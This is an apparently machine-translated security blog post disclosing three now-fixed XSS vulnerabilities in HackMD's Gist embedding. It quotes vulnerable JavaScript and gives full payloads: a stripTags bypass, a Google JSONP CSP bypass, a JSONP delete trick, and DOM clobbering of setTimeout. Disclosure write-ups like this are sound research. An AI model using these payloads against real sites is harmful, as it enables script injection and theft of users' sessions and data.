HackMD XSS, Again

發表於
分類於 security

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time, I found another HackMD XSS, mainly due to improper handling with Gist.

Why is it again? On one hand, I found two HackMD XSS last year, and on the other hand, Gist's XSS had appeared even earlier. However, after several version updates, XSS appeared again.

What's special this time is that even after the HackMD team fixed it, I still found a way to bypass their filter and get another XSS at the same place. Later, during a review, I discovered another XSS that I hadn't found before, so this article covers three HackMD XSS.

The Initial XSS

The trigger point is here:

e.find("code[data-gist-id]").filter(n).each((function(e, t) {
	if (0 === I(t).children().length) {
		var n = t.getAttribute("data-gist-id");
		t.setAttribute("data-gist-id", h()(n).stripTags().s);
		var r = t.getAttribute("data-gist-file");
		r && t.setAttribute("data-gist-file", h()(r).stripTags().s);
		var i = t.getAttribute("data-gist-line");
		i && t.setAttribute("data-gist-line", h()(i).stripTags().s);
		var a = t.getAttribute("data-gist-highlight-line");
		a && t.setAttribute("data-gist-highlight-line", h()(a).stripTags().s);
		var o = t.getAttribute("data-gist-show-loading");
		o && t.setAttribute("data-gist-show-loading", h()(o).stripTags().s),
		I(t).gist((function() {
			setTimeout(window.viewAjaxCallback, 200)
		}
		))
	}
}
))

Among them, I is jQuery, so you can look at the code of $.fn.gist:

a.fn.gist = function(c) {
	return this.each(function() {
		var e, f, g, h, i, j, k, l, m, n, d = a(this), o = {};
		return d.css("display", "block"),
		e = d.data("gist-id") || "",
		g = d.data("gist-file"),
		k = d.data("gist-hide-footer") === !0,
		l = d.data("gist-hide-line-numbers") === !0,
		h = d.data("gist-line"),
		j = d.data("gist-highlight-line"),
		n = d.data("gist-show-spinner") === !0,
		m = n ? !1 : void 0 !== d.data("gist-show-loading") ? d.data("gist-show-loading") : !0,
		g && (o.file = g),
		e ? (f = "https://gist.github.com/" + e + ".json",
		i = "Loading gist " + f + (o.file ? ", file: " + o.file : "") + "...",
		m && d.html(i),
		n && d.html('<img style="display:block;margin-left:auto;margin-right:auto"  alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),
		void a.ajax({
			url: f,
			data: o,
			dataType: "jsonp",
			timeout: 2e4,
			success: function(c) {
				var e, g, i, m, n;
				c && c.div ? (c.stylesheet && (0 === c.stylesheet.indexOf("<link") ? c.stylesheet = c.stylesheet.replace(/\\/g, "").match(/href=\"([^\s]*)\"/)[1] : 0 !== c.stylesheet.indexOf("http") && (0 !== c.stylesheet.indexOf("/") && (c.stylesheet = "/" + c.stylesheet),
				c.stylesheet = "https://gist.github.com" + c.stylesheet)),
				c.stylesheet && 0 === a('link[href="' + c.stylesheet + '"]').length && (e = document.createElement("link"),
				g = document.getElementsByTagName("head")[0],
				e.type = "text/css",
				e.rel = "stylesheet",
				e.href = c.stylesheet,
				g.insertBefore(e, g.firstChild)),
				n = a(c.div),
				n.removeAttr("id"),
				d.html("").append(n),
				j && (m = b(j),
				n.find("td.line-data").css({
					width: "100%"
				}),
				n.find(".js-file-line").each(function(b) {
					-1 !== a.inArray(b + 1, m) && a(this).css({
						"background-color": "rgb(255, 255, 204)"
					})
				})),
				h && (i = b(h),
				n.find(".js-file-line").each(function(b) {
					-1 === a.inArray(b + 1, i) && a(this).parent().remove()
				})),
				k && (n.find(".gist-meta").remove(),
				n.find(".gist-data").css("border-bottom", "0px"),
				n.find(".gist-file").css("border-bottom", "1px solid #ddd")),
				l && n.find(".js-line-number").remove()) : d.html("Failed loading gist " + f)
			},
			error: function(a, b) {
				d.html("Failed loading gist " + f + ": " + b)
			},
			complete: function() {
				"function" == typeof c && c()
			}
		})) : !1
	})
}

Obviously, there are various string concatenation HTML operations inside, so there should be XSS. However, data-gist-id will be filtered by stripTags in the front, so let's see how it does it:

stripTags: function() {
	if (!this.s)
		return new this.constructor(this.s);
	var e = this.s
		, t = arguments.length > 0 ? arguments : [""];
	function n(t) {
		var r = RegExp("</?" + t + "[^<>]*>", "gi");
		e = e.replace(r, "")
	}
	return m(t, n),
	new this.constructor(e)
},

Here, the t part will be the default [""] because no parameters were given when called, so it is equivalent to e.replace(/<\/?[^<>]*>/gi, ""), so <<x>script> can bypass it. Then, just find a way to trigger the error callback's d.html("Failed loading gist " + f + ": " + b).

So, combining everything together with Google jsonp CSP bypass, you get:

<code data-gist-id='PEKO<<x>script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></<x>script>MIKO'></code>

XSS Again After Fix

After the fix, I looked at the changes, and they only corrected the stripTags part:

stripTags: function() {
	if (!this.s)
		return new this.constructor(this.s);
	var e = this.s
		, t = arguments.length > 0 ? arguments : [""];
	function n(t) {
		var r = RegExp("</?" + t + "[^<>]*>", "gi");
		(e = e.replace(r, "")).match(r) && n(t)
	}
	return m(t, n),
	new this.constructor(e)
},

Basically, it replaces the same thing, but this time it will recursively remove HTML tags, so the <<x>script> bypass won't work. However, since it matches >, an unclosed tag like <script won't be removed.

In the case where > can't be used, the cheat sheet shows payloads like <svg onload=alert()//, but due to CSP, it can't be used. Also, the HTML injection point uses jQuery $.fn.html, which assigns HTML to innerHTML. When the browser assigns HTML to innerHTML, if only < exists without >, all payloads after < will disappear, so this won't work.

My idea here is to change the injection point to the img part:

n && d.html('<img style="display:block;margin-left:auto;margin-right:auto"  alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),

The front can easily close the img, and the back has >, so with only <, iframe srcdoc can be used to cause trouble. However, the difficulty here is that srcdoc still needs to bypass CSP, so it also needs to use Google jsonp CSP bypass. At the same time, there's an ajax call to Gist, and whether it's success or error, it will call d.html(...), and the iframe loading Google jsonp will be overwritten, so XSS can't be achieved.

My idea here is to create an error out of thin air, so it won't execute d.html(...), giving enough time to load jsonp. My answer here is to use the jsonp delete technique I used in HITCON CTF 2022 - Secure Paste (the actual source should be this), using delete[jQuery.fn][0].html to delete $.fn.html, causing an error and giving enough time for Google jsonp to load and achieve XSS.

The final payload is:

<code data-gist-show-spinner="true" data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[jQuery.fn][0].html]#"><iframe srcdoc="&amp;lt&semi;script src&amp;equals&semi;&amp;quot&semi;https&amp;colon&semi;&amp;sol&semi;&amp;sol&semi;www&amp;period&semi;google&amp;period&semi;com&amp;sol&semi;complete&amp;sol&semi;search&amp;quest&semi;client&amp;equals&semi;chrome&amp;amp&semi;q&amp;equals&semi;123&amp;amp&semi;jsonp&amp;equals&semi;alert&amp;lpar&semi;document&amp;period&semi;domain&amp;rpar&semi;&amp;sol&semi;&amp;sol&semi;&amp;quot&semi;MIKO&amp;apos&semi;&amp;gt&semi;&amp;lt&semi;&amp;sol&semi;script&amp;gt&semi;"'></code>

XSS, Again

Finally, there's a point I didn't notice before, which is setTimeout(window.viewAjaxCallback, 200). Originally, window.viewAjaxCallback had a function, but as we know from above, we can use jsonp callback to delete something, so using delete[window][0].viewAjaxCallback can delete it.

Next, since the first parameter of setTimeout can also accept a string, there's a chance to use DOM clobbering to overwrite the value of window.viewAjaxCallback to achieve XSS:

<a id="viewAjaxCallback" href="cid:alert()"></a>
<code data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[window][0].viewAjaxCallback]#'></code>

However, this part and the previous XSS were fixed together in version 1.56.0, so it wasn't reported separately.